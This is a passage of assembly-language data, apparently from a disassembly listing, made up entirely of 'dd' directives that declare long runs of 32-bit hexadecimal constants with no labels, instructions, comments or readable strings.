		dd 6434D8h, 3AFE5C9Ch, 988E22Fh, 990197D7h, 72630080h
		dd 0DA0B37E8h, 800BF4A2h, 0B146B988h, 0D66003Eh, 0CCA343E9h
		dd 540710EAh, 3B816CDFh, 0F8FF6120h, 0C1840E9Ch, 9E603C33h
		dd 6C19277Eh, 23041BE6h, 0F565E1F7h, 0ED2C8480h, 0FB7B00A8h
		dd 25BB8970h, 5900A902h, 442D35DFh, 0A0AC57D2h,	0F86665B0h
		dd 0F6230041h, 900E8E98h, 221A1206h, 4111991Eh,	299666FCh
		dd 6C60207Bh, 7801C16Fh, 25D2C665h, 82EE348h, 0BE80ED48h
		dd 0A0D57B3Dh, 8DD00FDh, 5E9568E6h, 8D03A821h, 35D2D462h
		dd 0B43886B0h, 1DD760F4h, 3F017DB7h, 1E52C5D3h,	9C4D224h
		dd 7E7F0090h, 5D32330Bh, 0C7269B7Dh, 5F11B4B9h,	8179571Bh
		dd 0C81F7CC0h, 18756E2Eh, 204EFE02h, 0AA5C6874h, 4853A8Bh
		dd 0A07BBE80h, 9BDA36A9h, 0A197E3FAh, 0AC92EB7Ch, 0E19CB3F3h
		dd 0C502236Dh, 0A27D7066h, 1B433800h, 0EE410D14h, 7DC11E8Ah
		dd 0FAC684E3h, 58E69Fh,	3D1B8B1Ch, 1CA4A1AEh, 528C3698h
		dd 7B9C9217h, 60E48C4h,	7C4E5A52h, 304BFA00h, 2E417425h
		dd 1198E062h, 0B4AA0C64h, 3ABC8B7h, 2EAC3D07h, 64F8198Bh
		dd 0E304E90Ch, 5A8984A0h, 205CD892h, 36A61B97h,	0A0DDA300h
		dd 81BC6CDEh, 0D03A00D6h, 7E1C568Dh, 5A1B2324h,	0C1A17A78h
		dd 562FD59Ch, 2E3C837Ch
		dd 0E4018589h, 0EE0533C0h, 591CEBDEh, 85648C4h,	8ACA4800h
		dd 25175D8Bh, 0F068AED2h, 45417B57h, 2A0BE838h,	0AE0950C2h
		dd 0C79E6810h, 2081430Eh, 0BC3043EEh, 5EB4F8E1h, 0E0514834h
		dd 1B7D5982h, 5A012481h, 16943266h, 0C4300C4Eh,	298BE628h
		dd 8844F641h, 0D4AC4D5Fh, 0AA51942Eh, 14C731D4h, 284B863Bh
		dd 0CDE412Dh, 84093C1Ah, 88404C64h, 70C7CE13h, 0EECA4B03h
		dd 0E82B1808h, 0F177CB5h, 0D0F31505h, 9709A400h, 0BE030DF4h
		dd 0C6F5398Dh, 320CC0DBh, 0B6081D50h, 790A074Ah, 3C39B06Ah
		dd 34A8B163h, 0AB7F1069h, 2EC2B50Fh, 361481B6h,	0A70585Dh
		dd 0E8294892h, 93575104h, 0F6F08096h, 8A052C7h,	0A800EE32h
		dd 0CF9C0F60h, 90027CF0h, 43590B4h, 90E6EC37h, 9CCA3ACh
		dd 51E4DF9Dh, 0A111A8h,	886AD697h, 24F9C0B7h, 50C02024h
		dd 0F688FDB4h, 7471269Ch, 0AC0B03E6h, 0D6CF0530h, 0F34A591Bh
		dd 0BBBC8400h, 58607EF2h, 0C854B00Ch, 25A520E0h, 5820EB5Ah
		dd 0E6A0E2ECh, 54AC0017h, 0F63B18DEh, 2A03951Ah, 2C939C23h
		dd 8C14D072h, 0DCB402F4h, 8E1C6F25h, 4156DC84h,	0FC0E90AFh
		dd 0F35BB640h, 77CA78EDh, 0F033AAEh, 0C97A6900h, 9C0618DBh
		dd 0BAEC8A1Ch, 8E844402h, 78F1C3h, 7CE82FA3h, 0D078F267h
		dd 0F04200B6h, 0DA08A0C5h, 50505618h, 7B6BC85h,	28AC5B22h
		dd 639C50EAh, 21121B04h, 2CB28255h, 0AAE4F100h,	4D2733Bh
		dd 3F01E2EAh, 3D3E2DEEh, 413B7983h, 0EF85E54h, 1F86F4CCh
		dd 0B8381300h, 41CEF0D1h, 19751F27h, 895D00C4h,	0FBC26FC9h
		dd 44495E2Dh, 0E98B22DCh, 710038A6h, 80864351h,	5C96A6F5h
		dd 49018B9Ah, 0B554F70Bh, 0C522E4FFh, 0E900C091h, 9101E582h
		dd 0C8C34E2Bh, 60E081Ch, 81BACEC5h, 0B334AA80h,	6B2B6810h
		dd 4CE4EE03h, 0E0F8EC3Fh, 3CDC741Fh, 1AC8E1DDh,	0E61A201h
		dd 20220670h, 8A09FA4h,	5927EADAh, 244C2664h, 9858BA20h
		dd 52D6077Ch, 0ABB97107h, 11D72C86h, 2138DEh, 0D30D228h
		dd 0C5E8D1DAh, 0EF00ECA4h, 7760F4Bh, 985E0538h,	0B6A19884h
		dd 3EA64134h, 4832B3h, 5BB1661Ch, 45D5621h, 1055D45Eh
		dd 89E0EDE4h, 334B80B1h, 58A80999h, 313C10ECh, 405EB8C8h
		dd 27B2880Ch, 4C94217Eh, 9EF20478h, 9461C9ACh, 1925D71Bh
		dd 0DBA80956h, 0E700BD64h, 6E339F37h, 0FBF09B8Eh, 9AC6F400h
		dd 39AA927Ah, 126D1826h, 0C18C08D4h, 5A2E8601h,	0A7921C9Bh
		dd 5982042Dh, 7D201763h, 4C532218h, 6011CC7Eh, 89487C56h
		dd 71A91678h, 81D45C05h, 9CD1C885h, 5440478Ah, 4E82D609h
		dd 79808223h, 6B00D064h, 9C78F2B5h, 2E90AE58h, 140CB4E3h
		dd 0BC8090E1h, 0E79CEAFBh, 6C40354Bh, 6A38EC5Fh, 0DC10B530h
		dd 7F00BBB6h, 0D3C192FDh, 7C5CD5h, 1ED69C79h, 2646148Ch
		dd 5E50EB48h, 51FC2400h, 27ECA6C0h, 1C6BC29Bh, 5100E883h
		dd 11945E5Fh, 70BA6EE6h, 4A6B1240h, 41F201B8h, 416F01B7h
		dd 101D5F94h, 0CDEF7Ch,	0C8779D93h, 6B1DA7Bh, 5F0D9F78h
		dd 30056607h, 0F81456D1h, 8012C0A8h, 0B1F525h, 1BC723BCh
		dd 3D0E745Eh, 0EA7EF70Fh, 7339C25Fh, 7DE446A9h,	7268F206h
		dd 3BA40060h, 27A5DF40h, 911C8386h, 0BF5F8Eh, 7FFD626Ah
		dd 0FBD13102h, 38A589Fh, 0ABF96BBFh, 77C7C8E0h,	0F6245A2Fh
		dd 0E19032CBh, 484A0441h, 0AB0441E0h, 5F5A9583h, 0CEA020ECh
		dd 0EB00FE18h, 0C1C5650Dh, 0C8C3AAh, 0B202277Eh, 0D4E16422h
		dd 0A079F22Fh, 0AA1390C8h, 0C5FF00DCh, 45EBE0B5h, 0D338E24Dh
		dd 0DFAB89D8h, 0A0F965h, 0CBE5022Eh, 0E01E2AC9h, 7D121986h
		dd 0AF219C1Ah, 8D8B84A8h, 0D91224B8h, 7BF4C0F7h, 0E3751C0Dh
		dd 4D8B7C01h, 1D218217h, 0EC093022h, 40D19CD4h,	9EE86014h
		dd 43A582C1h, 0A0610D77h, 0A0B21844h, 7D067EA0h, 3D2E9A1Dh
		dd 43BD8C40h, 12FCAC36h, 0F3A6C669h, 0DE9D0A18h, 0D50844EEh
		dd 40D4AE97h, 71764F8Ah, 8B80E901h, 0E52E2B19h,	0CC80443Ch
		dd 5D609A53h, 2CFC644Ch, 4E1E8A4h, 608002F8h, 406FDE5Eh
		dd 14A787Fh, 19B4C8h, 0F3B68324h, 0F6289036h, 0AF583DFCh
		dd 71A201D2h, 4D8ADBA8h, 0A7C87828h, 84406044h,	0A82667C6h
		dd 91160498h, 60A2A0E4h, 0B69C9782h, 5FEC1064h,	33390203h
		dd 0F2A00BF3h, 0B3088277h, 3CDAC6h, 9F0C6A18h, 6FDFE1D3h
		dd 50B5547Ah, 97BCBACBh, 1A0017F8h, 2BFE7FE9h, 0C05F0322h
		dd 0EA43F811h, 0DA00BCA8h, 9D2AEE33h, 965E4C8Fh, 0B1CF7Ch
		dd 0BFDAB057h, 0AAAB55h, 33A646B9h, 2CD2BEB4h, 0C8607705h
		dd 0A4D435F5h, 0F33964F2h, 809049B4h, 84A10C38h, 0A820024Bh
		dd 0A9AE2Bh, 0F0EA2918h, 9BF7999Ch, 0CA3DBC01h,	0DF614BC5h
		dd 3C66FCh, 5D0FE8A0h, 4F44D9Ah, 0EC09A0C0h, 0C05EC799h
		dd 0D3468BF0h, 694B224Eh, 98CC9C24h, 0EB320BC8h, 6C62F997h
		dd 2C00F459h, 0E8F54D6h, 0F18E0027h, 499788F6h,	28278AE4h
		dd 1F3440A5h, 78578862h, 0C4A7A8B1h, 0EBDE0750h, 21AECCC1h
		dd 0C8461261h, 0A100F197h, 0D64720BBh, 6521C992h, 0B82750BAh
		dd 9D40A168h, 45B1ECh, 71ED3ACh, 0EF6EE096h, 0F73A7A00h
		dd 7112FAEBh, 0C6B1027Eh, 0B75E7D54h, 8059A041h, 9634410h
		dd 8381FE4Dh, 680C2842h, 0F6411C28h, 58242834h,	0E0E1279Dh
		dd 0F97EC8B8h, 0BDF8611Ch, 360A847h, 0A1B45A13h, 26E0C605h
		dd 0AC5A02h, 0FA66ADA4h, 15E71E21h, 74214C85h, 74606525h
		dd 79220189h, 0F9C0C3C4h, 88682C1Ch, 0F090A75Ah, 670002F9h
		dd 0C0ACEB06h, 99A19E64h, 803CB58h, 41095E27h, 41CAB8Ah
		dd 5940F744h, 5E3ED3E4h, 2B09C092h, 996082D4h, 8807DD58h
		dd 98851016h, 21FC1880h, 95B4B9CCh, 552068DCh, 0E5D59B14h
		dd 8118889Ch, 582A463Eh, 48642F2Ch, 0DDE34880h,	0C8604A9Ch
		dd 6D81BDD4h, 0E0A6C704h, 0C6AC89DBh, 5075A234h, 9A808CE8h
		dd 50D80FC0h, 0AD36F900h, 45E3664Ah, 0B2DD0AE7h, 0A4ACBACCh
		dd 198208A4h, 2D72F304h, 5857EC88h, 18C8B87Ah, 0D05F0640h
		dd 2735F31h, 7CBDD554h,	3B0A8080h, 7E00884Ah, 0B7453F34h
		dd 1831A1AAh, 113EDC7Dh, 9680421h, 2408C829h, 7E808160h
		dd 3C33622Eh, 35088034h, 3A2DACEh, 0F9D1E16Ah, 54B0F582h
		dd 5D17051Ah, 431234Eh,	63D9DE53h, 0F93ABF8h, 6C262B32h
		dd 0C7AEF4A0h, 1C16F71Dh, 54E5AA8Bh, 2846BDCh, 7E9AF37Ch
		dd 0E88E665Dh, 6182032h, 348ED2Ch, 80BC89BCh, 0B20DBE3Eh
		dd 44970025h, 78DEEB95h, 0FA1C4B17h, 9603F454h,	0C2518C28h
		dd 8AC4C0BDh, 231F00BEh, 57D51404h, 68B863B4h, 83C0035Ch
		dd 88205EF3h, 0FDE8516h, 0D228802Bh, 0D1DC0D23h, 3A9DEBE9h
		dd 0F3D39023h, 5E58A005h, 9C9524F2h, 0C0F01E40h, 93863EBAh
		dd 6200337Eh, 0A1A3D96Ah, 259A5019h, 86A5D61h, 13D54D9h
		dd 45D94416h, 21F02461h, 9F0005Eh, 60D30E05h, 0D891C041h
		dd 0DF047864h, 6478A00Fh, 9094BDh, 0B73DF4C1h, 82BA7238h
		dd 121C3E3Eh, 0CC088C32h, 0B8EFC584h, 0D4540FA0h, 19A42B83h
		dd 80226374h, 590BF45Dh, 1CEE4E7Dh, 2EBFA700h, 38077927h
		dd 5E0E7C36h, 9482A29h,	98EC8B9Dh, 96195510h, 1EFE4078h
		dd 4606C92Ch, 7F00403h,	40C55E18h, 50C46110h, 60409ECh
		dd 7C96BCA0h, 0E0885CC4h, 0CC8C491Bh, 0B18631C0h, 5E0077D3h
		dd 0C9F78197h, 95C86BC2h, 24B0CC2Ah, 44A22594h,	3CD1E0D7h
		dd 9AEB1385h, 0D29320BCh
		dd 0C4206D70h, 0CFD79h,	95155CC3h, 37213E5Eh, 4011471h
		dd 92CC1A3Fh, 50798AA5h, 1CB12622h, 46AF3A83h, 0B786915Ah
		dd 0B696D0h, 4ADA7D20h,	0A194AE43h, 0DF542314h,	0DB90908h
		dd 88001B5Ch, 787D183h,	893CD2DBh, 6AA060E7h, 0FC5EC9F3h
		dd 22054800h, 5AEB0FECh, 420889Ch, 0CA919367h, 0A8C05474h
		dd 540C934h, 53619DCEh,	2CB255h, 9FABE4C2h, 5C285EA8h
		dd 1EC06CE2h, 8E345126h, 0F60CECB6h, 48661125h,	0E022C004h
		dd 7A6BE326h, 4401AB01h, 6EC20F67h, 440C92C8h, 0EB891EFCh
		dd 0B1D7FA10h, 6D468600h, 2C78C263h, 6F3803CBh,	0B398E253h
		dd 0E1BF0D80h, 0A500F8F4h, 1615E63h, 0D595E3h, 0BC420EF0h
		dd 3268AE11h, 0EE0073E2h, 74561DB9h, 12B88C57h,	9D6A959h
		dd 0C4982050h, 9CA499EBh, 7AD68805h, 4AC9A60h, 0F822384Ch
		dd 6BD2590Bh, 54C0B2ACh, 0CFBF4084h, 647F9C0Fh,	43B72707h
		dd 0D37010B9h, 2879BA24h, 5CD8F037h, 6FDF685Ah,	0E892D096h
		dd 615711F1h, 7D0019BCh, 7C5BCB53h, 295BAC01h, 70304017h
		dd 0AF13ECh, 5CE76B3h, 0E1D09B7Ch, 14232107h, 515B4E7Eh
		dd 0EB11E0h, 3CC07493h,	9A16DDh, 2005DFBCh, 0B6A2AE39h
		dd 0C5009B72h, 0DC2769BDh, 7E6179h, 58AD482Ch, 5515B9AFh
		dd 0B0591C28h, 51D7C709h, 401C5441h, 5B772C0h, 0BD309800h
		dd 0A1A6D2B3h, 73D70504h, 20498CDCh, 84A009C4h,	0EFCC9895h
		dd 0A8227C34h, 58B99CCh, 60CBBB1Eh, 1130A219h, 0F312FED5h
		dd 0FF500A7Dh, 0D65DE0F0h, 0FEA31279h, 54C54CA2h, 26B6503h
		dd 5B0FD096h, 67781D37h, 5F098221h, 88FA8A7Fh, 6B9C5901h
		dd 254E6057h, 99D8452Eh, 1EDC8051h, 1B24ACA0h, 0F300943Bh
		dd 3E8AEED0h, 5023036Ah, 7E9D4432h, 1230CB90h, 0D611AC00h
		dd 0EDAABD95h, 43FD019Ch, 0D79B85B8h, 4A436E4h,	17E270Eh
		dd 4B214C98h, 7F64C918h, 0BF803C21h, 3F9460h, 0C75DAB56h
		dd 7D4565C0h, 9F10795Ch, 93465947h, 967000FBh, 2E3D752Dh
		dd 5068DE03h, 5E802697h, 244C1277h, 0E14C1DAEh,	225B404h
		dd 887104B4h, 0B0B63512h, 882F1508h, 0CC4099CFh, 1322E214h
		dd 0A278013Bh, 98ECC500h, 1380C8BDh, 875EAC03h,	8E346095h
		dd 433E09ADh, 0B07A9ED2h, 0CC68928h, 100C74A1h,	9CF211h
		dd 7508E379h, 86BE8BA8h, 716BA701h, 0C68C8974h,	619C0841h
		dd 931F1447h, 0CCC8F4A5h, 0FCFA00D1h, 52E6E77Eh, 4701984Eh
		dd 0F3ABB7D4h, 0B048488Bh, 0D2AE1241h, 94CC70B6h, 0EF04899Bh
		dd 2D0BA252h, 9A20D4FCh, 0AFF3F63Fh, 218C98E1h,	0DD7501FAh
		dd 0E8439901h, 0DC186F10h, 258453F0h, 3C51B68Eh, 0AC111C03h
		dd 437AC8BBh, 5BA700A5h, 0C2E78F61h, 3413AA2Ch,	0F0F02DE3h
		dd 0E428ED8Bh, 2130E6D2h, 5FFC05A2h, 0A060BC1Bh, 8850C6AAh
		dd 1400E248h, 0F74B3031h, 0B01F981Bh, 0F3C60177h, 0E8DC607Eh
		dd 104A6EABh, 583C3C40h, 0DD938070h, 0E8BDFE9h,	0F50B2C87h
		dd 17E6AA20h, 355B5614h, 0B081E85Dh, 4FAC28F6h,	0B634C0h
		dd 317DA3F3h, 222DE0EBh, 0E79C2904h, 0C8834AC7h, 8760AFF5h
		dd 7E5B25h, 7AAF9730h, 5F011B4Bh, 0D20C715Ch, 4E3C04F3h
		dd 0D4E461ADh, 46108BEh, 0C1811CB6h, 0C557B9DEh, 0A3CAEC88h
		dd 4201D92Eh, 6674852Fh, 2DD4F8C7h, 9D8344F6h, 7916DFD6h
		dd 98A297ECh, 2E05E221h, 80ACA1E4h, 1944F681h, 0F0726A55h
		dd 4388D179h, 0ABF951CFh, 17CE20D2h, 600C7104h,	281937Fh
		dd 6BD114C7h, 89005C26h, 0C8BD1AC0h, 714C1C31h,	830840E8h
		dd 0D10F0278h, 0F29C25CFh, 0D200F0F2h, 5CA7C079h, 34B859ACh
		dd 2D660100h, 39E7D605h, 0A01D5823h, 67908897h,	9E7CEB00h
		dd 801E12E9h, 0A055E64Eh, 8A177D68h, 8924185Dh,	0BA6F00B8h
		dd 779C1434h, 0C70F201Bh, 0AF043AFh, 8B0A085Fh,	412D14C0h
		dd 7E10F790h, 5A7AC232h, 2DB98217h, 11C1C40Ch, 2E0F2CE8h
		dd 2E0480Ch, 1D4E50B0h,	0EB058C59h, 0D4B4AED5h,	47D21688h
		dd 3528D07Bh, 3B3D6A01h, 0A16280B3h, 0A084F96Bh, 0A2171309h
		dd 7CCB0589h, 8748FC37h, 8BE068FCh, 0EE6F016h, 73DA7135h
		dd 0D665443Fh, 0AF1CB036h, 21F86608h, 8D86420h,	5E1002FFh
		dd 18E61F4Eh, 21026642h, 0E52BAE02h, 1B02F4E4h,	6E1C561Eh
		dd 0F8C89BA6h, 4C2A60h,	5E055AF8h, 0D8A4A7Dh, 8C0C7500h
		dd 12C8B6A0h, 897C00FEh, 0B0B52DACh, 6400A259h,	2EBD8BE8h
		dd 29B93B93h, 0ADFC72D4h, 109A7019h, 8AFD8A9Dh,	6A7964C1h
		dd 501A5040h, 0B560DEh,	0C3964CE1h, 65BAE564h, 0F025B805h
		dd 0F409D8E3h, 0FC581A5Dh, 84044B7Ch, 0F690D24Fh, 8069A07Ch
		dd 8E9B690Ch, 931C3F2Ah, 208BE28h, 560C1777h, 84447A7Dh
		dd 164B9202h, 0F8880604h, 0F02EA2E8h, 63D200E8h, 9BDA2FACh
		dd 1D40ADDEh, 576105CAh, 9114775Ah, 0ECCF215Ch,	0A82D99ECh
		dd 0E86C0Bh, 0BDD81504h, 608885Eh, 58A5452Eh, 2FFE6008h
		dd 0B4F9E810h, 517FA00h, 44263650h, 408B3260h, 0C4F4C658h
		dd 0A7E09163h, 100203F1h, 9BC2880h, 8D798EBh, 0B51440B1h
		dd 921C0764h, 8CAB69Ch,	84007313h, 2713E884h, 98F100E6h
		dd 3194B68Bh, 95000DF4h, 0C715FC19h, 24CFA0Eh, 3D5621BCh
		dd 94C6A694h, 2B779207h, 22E06FAAh, 64CEB32Fh, 56B9B0E8h
		dd 2C5FD4F6h, 0EC27AA28h, 53A048CFh, 14DEF0EBh,	5843AC6Ch
		dd 0DAC8C4Fh, 0A1E8C510h, 7048C85Ah, 0C4318400h, 403D953Fh
		dd 64235CD3h, 3B9F470Ah, 5D2700FCh, 4BC84D88h, 72D1E548h
		dd 0CAE6F700h, 9659C0Dh, 5F180060h, 9B80C644h, 0CCBB15E4h
		dd 10C51F0Bh, 0E298EC0h, 311B78EBh, 33F60F00h, 1C09D0A4h
		dd 5CC0961h, 0F0222574h, 0FA6D22EEh, 44FF14E0h,	4EC548h
		dd 0F4C3FA1h, 0F6B13CFh, 4A2CE02Ah, 0D2F09F80h,	0B00445Bh
		dd 882B7E42h, 584DE3Fh,	0D4502FB9h, 9D9CC179h, 0A99410A1h
		dd 8E20059h, 2298A17h, 60A88F04h, 0AF000F4Dh, 262BB665h
		dd 0F4497Ch, 8BEB301Eh,	0F89F92DEh, 6A3CE37Dh, 0F6190ECCh
		dd 37140C6h, 9DFFF4A1h,	1D622890h, 0C1A05D50h, 0C8D2D300h
		dd 0A7916CE1h, 32D04EECh, 892F4F48h, 890899CEh,	8B4A9B18h
		dd 0E8BC8094h, 87AAE984h, 7EEFC0B9h, 490077F9h,	37802C5Ah
		dd 4E9E1281h, 0FD3020A2h, 71677D7Bh, 3F2021A8h,	1D5DD5A0h
		dd 0BD9FF7BEh, 0B2949C00h, 0E3AA9DC0h, 0C47FCE25h, 0C7A70578h
		dd 0C39CFE64h, 0DE86D87h, 0E0B957Eh, 110C4E9Ah,	0A4720154h
		dd 0E4DC007Eh, 0C3A6767Eh, 0AA9762D5h, 282CEC60h, 5A617964h
		dd 1881145Fh, 0D8202426h, 60EC89D2h, 0E071346h,	0E983F2D9h
		dd 0C33BB370h, 0E86627ABh, 3EC4022h, 0B800F0F2h, 823E74F0h
		dd 0ACC267h, 45805A95h,	8BB419CAh, 4B777F04h, 44A9CE11h
		dd 121F8410h, 68D1FB21h, 0E037F7E3h, 83B4205Ah,	0DA13B55Bh
		dd 34025FBFh, 0F67ED51Eh, 298C0388h, 2DC3EA77h,	828D48A1h
		dd 4418D110h, 40B85683h, 0FE6D236Ch, 82ECF707h,	614266AAh
		dd 1DA0605Fh, 214E80A2h, 0AA0EC8A4h, 0A174D259h, 148537A1h
		dd 28507CE1h, 1A330CFh,	705E54Eh, 60CB02A1h, 6309CC27h
		dd 4A551812h, 98E4B4h, 0D1BF7EF4h, 4625F863h, 7CD05E1Dh
		dd 47F58B42h, 0BB64E0EFh, 230F39F1h, 0F077D300h, 0A3392A0Eh
		dd 9D558003h, 0C91BC47Ch, 582203E9h, 0FCB2000h,	0BE37E021h
		dd 30008E78h, 6FEF7BA5h, 0EEDE87Eh, 4E062267h, 401C973Fh
		dd 34320D4Ch, 7E49DE9Ch
		dd 28FE4108h, 0EB108298h, 9754D19Bh, 0CF88C87Bh, 99EAF509h
		dd 0D7B091FFh, 6128F608h, 8922AC60h, 11BE82A1h,	72C3ACh
		dd 0A25A9703h, 4AD0E6FEh, 9A01E45Ch, 1AC501Dh, 0B09BA045h
		dd 0E4CD593Bh, 3C3A30C0h, 0D5C12B5h, 0CDC4E1B1h, 30196409h
		dd 64574473h, 89C828AEh, 0F9FF1303h, 0B52F462Bh, 9DFE8008h
		dd 7278C15Bh, 0FAFC93F4h, 664340F4h, 18C9129Fh,	0C020A95Ch
		dd 0D11C86DAh, 12020016h, 2A90E3AFh, 88B1598Bh,	8813FD91h
		dd 0A4B0009Ch, 4B1A8057h, 0F2EC6104h, 0F8C1419Fh, 0D020F9A1h
		dd 0D8034CEBh, 3D1F9180h, 0F000F578h, 0C4B27783h, 1C57FE42h
		dd 40270890h, 0D8892BEAh, 2E009650h, 0B528D44h,	904DA03h
		dd 0E8051BB1h, 64DED481h, 2A7831A9h, 0F15E78CCh, 7109862h
		dd 8B007609h, 4FF276BBh, 7A18E7E2h, 109C48ACh, 20B07EC7h
		dd 26B459CDh, 439B0200h, 30B5F2A7h, 33930083h, 0BA192B7Dh
		dd 0D5E9D927h, 0D0233A5Fh, 21E682ECh, 0F4C856AFh, 2225E4DEh
		dd 9DF4C46Dh, 4B00C04Dh, 0EA564D5Eh, 38889903h,	73F4CD8Fh
		dd 0AC6E3A61h, 0EC427AC6h, 92E49C25h, 4FE45ED8h, 87F2E320h
		dd 2371A34Ah, 0A19FD47Dh, 566157ECh, 3E54E315h,	9BC0020Dh
		dd 0D61781F2h, 262E4388h, 0D1123AD8h, 3BAAC902h, 0FC960AFCh
		dd 889C4348h, 33AC60E0h, 4F7A7E0Fh, 137D6059h, 0EA1E99FCh
		dd 0AE8700BDh, 0E2DA61B0h, 7700DCFEh, 84327E62h, 1C7DC666h
		dd 42561E21h, 9C28A986h, 0A24548E0h, 80535538h,	8A85F870h
		dd 5859E763h, 7D8E6479h, 6D6CB4D2h, 3201877Eh, 1DBC2DAh
		dd 2C2FF61Eh, 0F912FA2Ch, 7086CED6h, 1EF30B68h,	84465915h
		dd 7AE48805h, 3C84C224h, 0D15C20BEh, 73396F98h,	3EA3B054h
		dd 5C212CF8h, 192F70A7h, 0A8044C95h, 5D4052C6h,	67C586C2h
		dd 21CD2300h, 43F6837Dh, 0FD2B03E5h, 0A95AB55Ch, 651B7804h
		dd 98B4E217h, 4F2804A3h, 4972244Eh, 569C9001h, 7B8E40Eh
		dd 0EA917DC3h, 0F7C26041h, 0C401E070h, 1D61E2E9h, 0C42B36C8h
		dd 0CBE48C94h, 8B678F00h, 6E7E5149h, 5E6600BAh,	0A24234ECh
		dd 7948F0EBh, 0AB5D800Ch, 54237Ch, 123D37E2h, 659DC3F9h
		dd 0E01A2000h, 498C173Ch, 40E200F3h, 84A343D9h,	7F5F148Ah
		dd 7DBC38C8h, 34CFC58h,	0A78A6AFh, 0F0803A2Ah, 1501293Bh
		dd 0E06104D4h, 0D0603871h, 0F3B80197h, 209C478Ah, 0D30BF4E3h
		dd 9E9F821Fh, 9BBF39C6h, 0E1032A19h, 49BB0488h,	0C0305521h
		dd 0A7BE4213h, 0B11B7602h, 5D572EB5h, 897D9890h, 94655A27h
		dd 0EAA0900h, 0A080B281h, 0F64EA656h, 0B8284000h, 0DFC19843h
		dd 0A48C5884h, 8E005522h, 728109F9h, 4C4FA2h, 0E7296F53h
		dd 699D5BB5h, 9C01B877h, 0FD6C8293h, 9B60B3ADh,	0E0084B4Dh
		dd 0C622AAECh, 0BCE40051h, 3F52B921h, 130EA077h, 0C1D7D19Eh
		dd 0F05D1F17h, 28C0206Fh, 290087EEh, 0B0CAFE56h, 0D19BE4h
		dd 5761E892h, 88FA9985h, 187B303h, 0DA4BB870h, 75A0A093h
		dd 33E44A5h, 2A37D879h,	0C7A40F46h, 0ECA971ACh,	1D3862D6h
		dd 80848C06h, 31EAB268h, 3AABED1Ch, 0B788C48h, 0CC986557h
		dd 462C0560h, 42A7A014h, 406CDCDCh, 65F1671Bh, 22A6B80Fh
		dd 99CC2BD9h, 0FCE4DBC8h, 0A10F0104h, 0CAB7CE63h, 0E0F320C3h
		dd 0A02CDE28h, 94642D09h, 797482EFh, 0F27D2018h, 0D4B8CAA6h
		dd 49C52E18h, 0E9A8619h, 0B4C7714Eh, 39D09700h,	0FFE44167h
		dd 0F2458200h, 3471FE48h, 0FB05098Ah, 0CE87A1Eh, 0C0019E67h
		dd 9AAA8E55h, 167F214Dh, 99380240h, 547308DFh, 15A04E00h
		dd 9238DB1h, 7AD86022h,	0F9B77683h, 0DD68A5F7h,	4CB023D0h
		dd 411600A5h, 2EA4A9B4h, 5F4600D8h, 0E63BB57h, 8D283A0Dh
		dd 3ECBCC3h, 46B57F06h,	1E489BF7h, 4B5EAA6Bh, 68A28AA2h
		dd 8CD9E7E0h, 4DE8FF85h, 0E955440h, 57D6E55h, 0ABD69409h
		dd 608C9145h, 0B833DAh,	4D6E787Dh, 40D41D9h, 0CC890A02h
		dd 2198C0A8h, 825AF08Ch, 0A9F634C2h, 3E5C7940h,	48F4BE00h
		dd 9A910D24h, 0D2EA5B04h, 30EE8340h, 0EC27E3B4h, 0CD218D0Bh
		dd 0F812026Bh, 6904007h, 3DC827FBh, 0D59DC8E0h,	0D44400B6h
		dd 4347C837h, 7F090C82h, 599C3820h, 0BF18CEF0h,	2878017Eh
		dd 0AD0178Ch, 17C0B450h, 64E2134Ah, 0D1B03900h,	9A10E23Bh
		dd 188E9900h, 68AE704Bh, 0A55102FEh, 0F0690A01h, 7D01FCF0h
		dd 0B732D495h, 0F02482C8h, 0EE533333h, 0FDC061C0h, 89808CA7h
		dd 84568AE7h, 0C3006F47h, 6467A0h, 78DDD1D5h, 0F7F9B471h
		dd 48B62104h, 8EFA422h,	28AE5704h, 0AD17FE40h, 5F2E224h
		dd 4E86D714h, 0A0A4B820h, 0B71562h, 4A8D9095h, 976F26ECh
		dd 85BE0902h, 0C07D13B9h, 4A01A400h, 2BE8C852h,	0B091A701h
		dd 3293CD39h, 792C8D4h,	4F9DDB5Ah, 1C0E107Dh, 773E100Bh
		dd 0E88937E0h, 0C6845727h, 0A36D18D0h, 96A6051Ah, 0F38FD9h
		dd 0EDE63A90h, 8A07D5A4h, 0F9B9EEC2h, 0DFF51DC1h, 0AC431880h
		dd 0C860799Ah, 165817FCh, 92EC1710h, 0D81F5C00h, 3D15EBh
		dd 0F4E3B35Fh, 5B728E3Ah, 1BC6CC00h, 15AB61D3h,	0FA221D20h
		dd 400F5894h, 8B40637Ch, 0D82507D0h, 63625F3Ch,	180055C3h
		dd 347719B9h, 0C299FBA6h, 0EE2E4EA8h, 0F3F46207h, 9362E50Fh
		dd 22E0A8F2h, 0A10134BDh, 5B0DE439h, 0DBE8A4DEh, 40C9628Fh
		dd 7482E042h, 0A911F116h, 26401CF2h, 888C712Ah,	3C40540Ch
		dd 70041159h, 20B8F40Dh, 60921D80h, 8A7912F1h, 0FC56BF5Ah
		dd 7D538840h, 985EDB4Fh, 1C34106Ch, 544A01F5h, 70C6C821h
		dd 71FBEC20h, 289803A9h, 0EED162D2h, 0C66493Dh,	0A8835A75h
		dd 1FBBE2E8h, 0BBFC5F38h, 0E078B085h, 0C0E89479h, 0EF8D1494h
		dd 8420D053h, 0F361BF87h, 0B423F47Dh, 0A901E700h, 0E4742B7Eh
		dd 64C2F8Bh, 98E414F0h,	72D45509h, 4690ECB3h, 0D88A02E1h
		dd 7C9EF762h, 54F246Ch,	0BC49D064h, 8FA05ACh, 0A0A43529h
		dd 0B8A60BACh, 4C50197Fh, 89D2332h, 0E6F868A8h,	39B800AEh
		dd 3B215F0Eh, 9A097D81h, 0D9D79B9Fh, 2FE500E8h,	0F998A499h
		dd 1C686C63h, 70406484h, 0B8B2602Dh, 0AD192383h, 0E218B711h
		dd 5A86209Ah, 8B6C6C58h, 0BBDC4835h, 0DED600E5h, 6CC2D517h
		dd 8226D819h, 5C0E7047h, 0B722A077h, 26C82616h,	439CF5E0h
		dd 7A26E18Ch, 0DE0064D0h, 862D4E5Fh, 48E6F28Bh,	304C0068h
		dd 62E48C03h, 280EAC94h, 7B28361Eh, 87D01248h, 6A70B47Ah
		dd 0ECDA5100h, 0A03947E3h, 8376989h, 29F224F2h,	112DDA00h
		dd 0C079C215h, 487700DEh, 0A2B3181Bh, 6C356907h, 380068A7h
		dd 589C9F6h, 3900066h, 0F1CB7B31h, 0DC00EA08h, 0B2E8B407h
